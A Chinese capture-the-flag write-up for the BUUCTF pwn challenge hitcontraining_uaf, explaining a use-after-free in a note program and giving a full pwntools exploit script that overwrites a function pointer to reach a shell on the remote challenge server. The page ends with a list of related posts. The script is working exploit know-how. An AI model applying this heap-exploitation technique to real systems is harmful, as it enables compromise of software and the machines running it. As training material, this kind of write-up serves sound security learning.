[BUUCTF-pwn]——hitcontraining_uaf

  • 题目地址:https://buuoj.cn/challenges#hitcontraining_uaf
    题目给了提示,一个利用UAF漏洞的题目

还是先checksec一下

在IDA中,三个比较关键的函数


我们可以发现add会申请两次内存,第一次申请8个字节,前四个字节指向print_note_content这个函数, 后四个字节指向我们写入的字符串(count会加1)

delete则会将刚才申请的两块空间给删除(count不会减一), 但是并不会指向NULL

printf函数会调用add申请的第一个8个字节中的前四个字节指向的函数

思路

首先我们可以先add两次第一个我们称为a, 第二个称为b, 注意内容的大小一定要超过8, 这里我们取40,分别为A, B

然后delete掉a(free A, a), 再delete b(free B, b), 这个时候如果我们再次add一个c,并且内容大小设为8

那么第一个8个字节c其实就是b, 就是我们第二个8个字节C其实就是a
这个时候我们写进去的东西就会覆盖原有的, 但是原先的指针仍然指向它.
我们就可以可以将print_note_content函数, 改为我们想要执行的函数了

(这个因为比较小输入fast bin范畴, 所以是先进后出.)

from pwn import*p=remote('node3.buuoj.cn',26828)
#p = process('./hacknote')
#gdb.attach(p)
def add(size,content):p.sendlineafter('choice :','1')p.sendlineafter('Note size :',str(size))p.sendlineafter('Content :',content)def delete(index):p.sendlineafter('choice :','2')p.sendlineafter('Index :',str(index))def printf(index):p.sendlineafter('choice :','3')p.sendlineafter('Index :',str(index))shell_addr=0x8048945add(40,'aaaa')
add(40,'bbbb')
delete(1)
delete(0)
add(8,p32(shell_addr))
printf(1)#第二种思路大家也可以看一下
#add(8,'aaaa')
#delete(0)
#delete(0)
#add(40,'aaaa')
#add(8,p32(shell_addr))
#printf(1)p.interactive()

[BUUCTF-pwn]——hitcontraining_uaf相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 电阻存储器为edge-AI提供了仿生架构
  2. Mybatis 中$与#的区别
  3. 不是方阵有逆矩阵吗_吴恩达机器学习笔记18逆矩阵、矩阵转置
  4. ZLAN串口转接以太网ZLSN3003S
  5. Cloudify — OpenStack Infrastructure Plugin V3
  6. Flume-NG一些注意事项(转)
  7. 数据结构学习笔记(三):队列(queue)
  8. java中同步组件_Java并发编程(自定义同步组件)
  9. java虚拟机之二虚拟机内存结构
  10. 基于环信实现在线聊天功能
  11. 服务器文件夹变成自读,服务器终端改文件读写权限
  12. 计算机磁盘管理打不开,教你怎样轻松解决磁盘打不开的问题
  13. 什么是Express框架
  14. 已知销售额怎么计算成本_计算成本根据销售额怎么样推算出成本,举例, – 手机爱问...
  15. C++STL常用算法adjacent_find
  16. 服务器的四个网卡虚拟一个网卡,一种物理网卡虚拟成多个虚拟网卡的方法及系统...
  17. Python➕ ps 图钉画图纸制作教程
  18. 2018网易互娱秋招笔试题
  19. 计算机ps工具字母,PhotoShop7怎么把英文字母抠出来 一个工具搞定
  20. 仰望银河,深蓝瑶光,极星揽月,武林至尊

热门文章

  1. PostgreSQL数据库的注入
  2. LeetCode Algorithm 451. 根据字符出现频率排序
  3. 编写你的第一个 Django 应用,第 3 部分
  4. 并发编程——进程——进程的同步与数据共享
  5. ROS Kinetic 与STM32通信,控制一盏LED灯
  6. 【Tiny4412】制作最小文件系统脚本
  7. 【Tiny4412】 Tiny4412开发环境搭建
  8. Android 高仿微信6.0主界面 带你玩转切换图标变色
  9. c语言中lookup函数功能,Lookup函数详解
  10. 在线识图翻译_拍照翻译ios版下载在线识图翻译-免费拍照翻译软件苹果版下载...